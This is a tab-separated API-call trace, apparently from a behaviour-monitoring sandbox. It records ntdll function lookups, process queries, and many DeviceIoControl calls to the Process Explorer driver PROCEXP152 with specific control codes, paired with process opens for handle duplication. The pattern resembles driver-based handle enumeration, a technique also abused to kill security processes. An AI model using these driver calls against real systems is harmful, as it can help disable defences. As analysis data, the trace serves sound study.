Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQueryObject, address_out = 0x7ff931fe5590	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySection, address_out = 0x7ff931fe5db0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlInitAnsiString, address_out = 0x7ff931f5bfc0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlInitUnicodeString, address_out = 0x7ff931f51620	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlAnsiStringToUnicodeString, address_out = 0x7ff931f642e0	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlFreeUnicodeString, address_out = 0x7ff931f5c460	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlFreeAnsiString, address_out = 0x7ff931f5c460	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = RtlUnicodeStringToAnsiString, address_out = 0x7ff931f65220	1	Fn
System	Get Info	-	7	Fn
System	Get Info	-	1	Fn
System	Get Info	type = SYSTEM_PROCESS_INFORMATION	8	Fn
System	Get Info	type = SYSTEM_PROCESS_INFORMATION	1	Fn
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Process	Get Info	type = PROCESS_BASIC_INFORMATION	1	Fn
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335004c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_DUP_HANDLE	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335003c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350014	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	101	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	38	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	32	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	19	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	50	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	49	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	13	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	102	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	14	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	22	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	46	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	20	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	28	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	69	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	35	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	21	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	85	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	26	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	39	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	27	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	22	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	13	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	20	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	40	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	21	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	4	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	18	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	24	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	24	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	169	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	128	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	46	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	63	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	14	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	16	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	12	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	13	Fn Data
